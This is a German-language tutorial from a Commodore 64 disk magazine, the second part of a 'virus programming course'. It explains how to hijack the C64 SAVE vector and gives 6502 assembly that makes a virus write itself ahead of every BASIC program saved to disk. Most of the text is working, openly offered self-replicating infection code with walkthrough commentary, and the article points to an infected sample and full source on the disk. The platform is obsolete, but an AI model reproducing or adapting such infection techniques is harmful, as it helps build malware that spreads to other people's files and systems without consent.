Virus-Programmierkurs
Sicher haben Sie schon gespannt auf das
Erscheinen der Augustausgabe von Magic
Disk 64 gewartet. Denn in unserem Virus-Programmierkurs wird' s jetzt langsam
ernst. Heute wollen wir uns - wie in der
letzten Ausgabe besprochen - um die
Artenerhaltung unseres Virus kümmern, damit er auch viele kräftige und gesunde
Nachkommen haben wird!
An dieser Stelle sei noch erwähnt, daß
sich auf der Magic Disk folgende Programme befinden, die alle mit diesem
Kurs zusammenhängen:
" MD-VIRUS" ist ein infiziertes Gag-Pro- gramm, das zur Aktivierung des Virus
dient. Der Syntax-Error am Programmende
gehört so und ist kein Programmfehler!
" MDV-SOURCE" ist der Sourcecode (= Quellcode) im Hypra-Ass- Format zum Virus.
Falls Sie Hypra-Ass nicht besitzen, so
hilft Ihnen sicherlich
" MDV-SOURCE. ASC" weiter. Das ist der
Source-Code als ASCII-File gespeichert.
Dieser kann ohne Probleme mit GET# von
der Diskette gelesen und ausgedruckt
werden.
Doch nun wollen wir ans " Eingemachte" gehen und uns mit der Programmierung
selbst befassen.
Zuerst wollen wir uns überlegen, wann
die Brunftzeit ( die Zeit, an der sich
der Virus vermehrt) für unser kleines
Tierchen am günstigsten ist. Da sticht
der Vorgang des Diskettenzugriffs natürlich sofort ins Auge, denn dann ist es
am unauffälligsten, da die Diskettenstation sowieso läuft. Und außerdem teilt
uns der Programmierer bei einer solchen
Aktion auch gleich mit, wie man ein zu
infizierendes Programm beim Namen nennt.
Man muß also nicht noch aufwendig auf
der Diskette nach Programmen und deren
Namen suchen.
Gesagt - getan. Um dies zu verwirklichen, müssen wir prinzipiell nur den
Speichervorgang an sich abfangen können.
Das heißt, unser Virus muß sich immer
dann einschalten, wenn das Betriebssystem des C64 vom Benutzer dazu bewegt
wird, Daten zum Floppy zu schicken.
Dieses Problem kann sehr einfach gelöst
werden. Das Betriebssystem benutzt nämlich einen Vektor, der auf die eigentliche Save-Routine zeigt. Zur Erklärung:
Ein Vektor sind zwei Speicherzellen, deren Inhalt im Low-High- Format auf ein
entsprechendes Unterprogramm zeigt. Vektoren können mit indirekten Sprüngen
adressiert werden. Speichert man z. B. in
den Speicherzellen $1000 und $1001 die
Werte $ af und $ c0, so wird bei dem
Maschinensprachebefehl JMP ($1000) die
Adresse $ c0 af angesprungen.
Der SAVE-Vektor steht in den Speicherzellen $0332 und $0333(= dezimal 818 und
819) . Bei jedem SAVE-Befehl wird indirekt über diesen Vektor gesprungen. Ein
idealer Platz also für einen Virus, um
in das Geschehen einzugreifen. Er muß
nur bei seiner ( einmaligen) Initialisierung diesen Vektor auf eine eigene
Routine " verbiegen" . Bis zum Ausschalten
des Computers wird dann bei jedem SAVE-Befehl die eigene Routine angesprungen.
Zur Vervollständigung des Gesagten sei
noch erwähnt, daß dieser Vektor eigentlich schon mitten in der SAVE-Routine
angesprungen wird. Doch das ist für uns
nur von Vorteil, da er genau dann aufgerufen wird, nachdem alle Voreinstellungen erledigt wurden, und wir diese deswegen nicht noch selbst erledigen müssen. Um diesen Vorgang genauer zu erläutern, muß ich Ihnen zunächst die SAVE-Routine etwas näher beschreiben:
Wie Sie ja vielleicht wissen, wird die
SAVE-Routine des Betriebssystems mit dem
Befehl JSR $ FFD8 aufgerufen. Vorher muß
man aber noch einige Parameter wie Laufwerk, Programmname, Startund Endadresse etc. festlegen. Diese Parameter
werden folgendermaßen übergeben:
SETPAR setzt Geräteund Sekundäradresse SETNAM übergibt Programmnamen und - Länge Jetzt müssen Anfangsund Endadresse in
zwei Speicherzellen in der Zeropage
festgelegt werden. Am besten eignen sich
die Adressen $ FB und $ FC, da sie vom
Betriebssystem sonst nicht verwendet
werden.
Nun den Zeiger auf die erste dieser
Speicherzellen in den Akku laden, Endadresse des abzuspeichernden Bereichs in X
und Y-Register laden und SAVE aufrufen.
Damit das verständlicher wird, folgt
hier zunächst das Quellisting einer
Maschinenspracheroutine, die den Speicherbereich von $0801 bis $11 AB unter
dem Namen " DEMOSAVE" auf Diskette
abspeichert:
10 -.ba $c000 ;Basisadresse 20 -.eq save = $ffd8 ;Konstanten- 30 -.eq setpar = $ffba ;definitionen 40 -.eq setnam = $ffbd ; 50 -; 100 - lda #$01 ;Filenummer 110 - ldx #$08 ;Geräteadresse 120 - ldy #$01 ;Sekundäradresse 130 - jsr setpar ;Parameter setzen 140 - lda #$08 ;Länge des Namens
150 - ldx #<(name) ;Adresse low 160 - ldy #|(name) ;Adresse high 170 - jsr setnam ;Namen setzen 180 - ldx #$01 ;Anfangsadresse low 190 - ldy #$08 ;Anfangsadresse high 200 - stx $fb ;in $fb und $fc 210 - sty $fc ;zwischenspeichern 220 - lda #$fb ;Zeiger auf Speicher 230 - ldx #$ab ;Endadresse low 240 - ldy #$11 ;Endadresse high 250 - jsr save ;SAVE anspringen 260 - rts ;fertig! 270 -; 280 -name .tx "demosave"
Werfen wir nun einen kleinen Blick " hinter die Kulissen"- sprich ins Betriebssystem. Dabei beginnen wir an der Stelle, an der auch die SAVE-Routine
beginnt, nämlich bei Adresse $ FFD8 . Hier
ein kleiner Auszug, wie Sie ihn sich mit
einem Disassembler bzw. Speichermonitor
auch " live" ansehen können:
FFD8 JMP $ F5 DD
Es wird also nur ins Innere des Systems
weitergesprungen. Dort verfolgen wir das
Betriebssyetem weiter:
F5 DD STX $ AE ; Low-Byte Endadresse speichern
F5DF STY $AF ;High-Byte Endadresse speichern F5E1 TAX ;Zeiger auf Anfangs- adresse ins X-Register F5E2 LDA $00,X ;Low-Byte der Anfangs- adresse holen F5E4 STA $C1 ;und speichern F5E6 LDA $01,X ;dasselbe mit dem F5E8 STA $C2 ;High-Byte F5EA JMP ($0332);Save-Vektor
Sie sehen, daß erst in der letzten Zeile
auf die SAVE-Routine verzweigt wird. Die
übrigen Zeilen sind nur dazu da, die Parameter für später zwischenzuspeichern.
Hier also ist der Punkt, an dem unser
Virus eingreifen darf. Er sollte somit
auch alle Funktionen übernehmen, die das
Betriebssystem normalerweise ausführt, nur daß er sich zusätzlich auch noch
mitspeichert. Um herauszufinden, was
genau er da tun soll, verfolgen wir die
normale Saveroutine weiter:
Einsprung über Vektor $0332/$0333 von
$ F5 EA:
F5 ED LDA $ BA ; Geräteadresse laden F5 EF BNE $ F5 F4 ; wenn <|0 dann weiter F5 F1 JMP $ F713 ;" ILLEGAL DEVICE NUMBER ERROR" ausgeben F5 F4 CMP #$03 ; vergleiche mit Bild-
schirmcode F5F6 BEQ $F5F1 ;wenn ja, dann Fehler F5F8 BCC $F659 ;wenn <3, dann Sprung zu Test auf RS232 oder Cassette F5FA LDA #$61 ;Sekundäradresse F5FC STA $B9 ;zwischenspeichern F5FE LDY $B7 ;Filenamenlänge holen F600 BNE $F605 ;|0, dann weiter F602 JMP $F710 ;"MISSING FILE NAME ERROR" ausgeben F605 JSR $F3D5 ;Filename auf IEC-Bus F608 JSR $F68F ;"SAVING" ausgeben F60B LDA $BA ;Geräteadresse laden F60D JSR $ED0C ;und LISTEN senden F610 LDA $B9 ;Sekundäradresse holen F612 JSR $EDB9 ;und für LISTEN senden
F615 LDY #$00 ; Zähler auf 0 setzen F617 JSR $ FB8 E ; Startadresse nach $ AC/$ AD kopieren F61 A LDA $ AC ; Startadr.- Low laden F61 C JSR $ EDDD ; und senden F61 F LDA $ AD ; Startadr.- High laden F621 JSR $ EDDD ; und senden
Ab hier ( also ab $ F624) folgt noch eine
kleine Routine, die jedes Byte bis zur
Endadresse durchgeht, mit der Routine
bei $ EDDD an die Floppy sendet und anschließend das File wieder schließt und
zurückspringt.
Wie Sie sehen, ist der erste Teil nur
dazu da, die Geräteadresse zu überprüfen
und die entsprechenden Fehlermeldungen
auszugeben. Anschließend kommt erst der
Anfang der eigentlichen Saveroutine.
Hier wird dann das " saving" ausgegeben
und der Floppykanal geöffnet. Bis zur
Adresse $ F617 alles Dinge, die für uns
unwichtig sind, und die wir auch einfach
in unserem Virus übernehmen werden, damit er auch voll kompatibel zum
Betriebssystem ist.
Erst ab $ F61 A wird es für uns interessant. Hier werden nämlich Lowund Highbyte der Anfangsadresse des zu savenden
Bereichs an die Floppy geschickt, damit
die Loadroutine später weiß, wohin sie
das eingeladene Programm legen soll.
Dieser Teil ist deshalb so wichtig für
uns, weil wir unseren Virus grundsätzlich nur vor Programme kopieren lassen
wollen, die an den normalen Basicstart
( also $0801) geladen werden, da man hier
davon ausgehen kann, daß das entsprechende Programm mit RUN gestartet werden
muß. Würde sich der Virus auch vor
Maschinenprogramme kopieren, die beispielsweise bei $ C000 anfangen, dann
könnte das verheerende Folgen haben, da
er selbst ja ein mit RUN startbares Programm ist und man ihn nicht einfach mit
einem SYS starten kann.
Also müssen wir an dieser Stelle überprüfen, an welcher Stelle sich das zu
savende Programm befindet. Ist das nicht
$0801, so hält sich unser Virus schön
brav im Hintergrund und tut gar nichts.
Ist es aber ein Programm, das bei $0801 beginnt, so soll er sich mitkopieren.
Also bauen wir an dieser Stelle noch ein
paar Vergleichsbefehle ein:
LDA $AC ;Lo-Byte Anfangsadresse CMP #01 ;= $01? BEQ LAB1 ;Ja, dann Byte senden LDY #$01 ;Flag setzen LAB1 JSR $EDDD ;Lo-Byte senden LDA $AD ;Hi-Byte Anfangsadresse CMP #$08 ;= $08?
BEQ LAB2 ;Ja, dann Byte senden LDY #$01 ;Flag setzen LAB2 JSR $EDDD ;Hi-Byte senden CPY #$01 ;Flag gesetzt? BNE OKAY ;nein, also vermehren! LDY #$00 ;Ja, Y zurücksetzen JMP $F624 ;normal weitersaven
Hier die genaue Funktionsweise: Das Y-Registerwurde bei $ F615 ja mit 00 geladen. Sollte jetzt bei einem Vergleich ein Wert ungleich dem verglichenem Wert sein, so wird das Y-Register mit dem Wert 01 beschrieben und erst dann das Byte gesendet. In der Folge wird dann verglichen, ob das Y-Register noch 0 ist. Ist das der Fall, so darf sich der
Virus kopieren. Ansonsten verzweigt das
Programm in die normale Saveroutine.
In dieser Form konnten wir die Assemblerbefehle bisher aus dem Betriebssystem
übernehmen. Jetzt müssen wir auch einmal
etwas eigenes leisten, nämlich eine Routine schreiben, die den Virus an die
Floppy sendet. Bis jetzt sind der Floppykanal geöffnet und die Startadresse
übergeben. Normalerweise würde jetzt das
zu savende Programm kommen, doch das
soll ja gerade nicht der Fall sein. Wir
müssen zuerst den Virus an die Floppy
senden und dann das eigentliche Programm. Dieses Problem lösen wir folgendermaßen:
OKAY LDA #<(DATA) ;Lo-Anfangsadresse STA $FB ;des Virus setzen LDA #|(DATA) ;dasselbe mit dem STA $FC ;Highbyte LDA #<(ENDE) ;Lo-Endadresse STA $F9 ;setzen LDA #|(ENDE) ;dasselbe mit dem STA $FA ;Highbyte LDY #$00 ;Zähler löschen LOOP LDA ($FB),Y ;Zeichen laden JSR $EDDD ;und senden JSR INCCOUNT ;Zähler um 1 erhöhen BCC LOOP ;Weiter, wenn noch nicht Endadresse JSR SAVECONT ;Wenn doch, dann Programm saven
Zur Dokumentation: Am Anfang setzen wir
Startund Endadresse. Die Endadresse
hinterlegen wir in $ F9/$ FA, da die
INCCOUNT-Routine diese Werte zum Vergleichen braucht. Diese Routine steht in
unserem Source-Listing übrigens ab Zeile
8210 und soll an anderer Stelle näher
erläutert werden. Soviel sei aber schon
hier gesagt:
Die Routine erhöht den Zeiger in $ FB/$ FC und vergleicht ihn mit der Endadresse, die wir ja in $ F9/$ FA abgelegt
haben. Sind beide Adressen gleich, so
setzt sie das Carryflag, womit die Abfrage nach JSR INCCOUNT zu erklären ist.
Ist das Carryflag gelöscht, so ist das
Ende noch nicht erreicht und die
Schleife wird wiederholt. Im Anschluß
wird dann wieder die normale Saveroutine
des Betriebssystems angesprungen, um das
eigentliche Programm abzuspeichern. In
der Konstanten SAVECONT ist die Zahl
bzw. Adresse $ F624 gespeichert.
Hiermit sind wir am Ende des zweiten
Teils des Virusprogrammierkurses angelangt. Die oben beschriebene Saveroutine
finden Sie ab Zeile 2220 im Sourcelisting, allerdings mit zwei kleinen
Abweichungen. Die eine hat mit der Vermehrung beim Laden zu tun, die wir nächsten Monat besprechen wollen. Und die
andere ist für den kleinen Gag zuständig, mit dem der Virus auf sich aufmerksam machen soll.
Bis zum nächsten Teil bleibt uns nur
noch, Ihnen viel Spaß in Ihrer Aktivität
als Virologe zu wünschen.